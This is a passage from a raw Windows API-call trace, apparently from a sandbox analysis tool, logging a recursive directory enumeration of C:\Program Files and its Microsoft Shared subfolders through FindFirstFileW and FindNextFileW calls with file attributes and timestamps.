ftLastWriteTime.dwLowDateTime=0xc53fc030, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0040.477] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc53fc030, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc53fc030, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02088 [0040.477] FindNextFileW (in: hFindFile=0x3f02088, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc53fc030, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc53fc030, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.477] FindNextFileW (in: hFindFile=0x3f02088, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0040.477] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f021c8 [0040.477] FindNextFileW (in: hFindFile=0x3f021c8, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.478] FindNextFileW (in: hFindFile=0x3f021c8, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0040.478] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02208 [0040.478] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.478] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0040.478] FindClose (in: hFindFile=0x3f02208 | out: hFindFile=0x3f02208) returned 1 [0040.478] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36d0748 | out: hHeap=0x5a0000) returned 1 [0040.478] FindNextFileW (in: hFindFile=0x3f021c8, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0040.478] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02208 [0040.478] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.478] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0040.479] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0040.479] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.479] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0040.479] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0040.479] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0040.479] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0040.479] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0040.479] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.479] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0040.480] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0040.480] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.480] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0040.480] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0040.480] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0040.480] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0040.480] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0040.480] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0040.481] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0040.481] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0040.481] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.481] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0040.481] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0040.481] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0040.481] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0040.481] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0040.481] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.481] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0040.482] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0040.482] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0040.482] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0040.482] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0040.534] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.534] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0040.534] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0040.535] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0040.535] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0040.535] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0040.535] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.535] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0040.535] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0040.536] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0040.536] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0040.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0040.536] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.536] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, 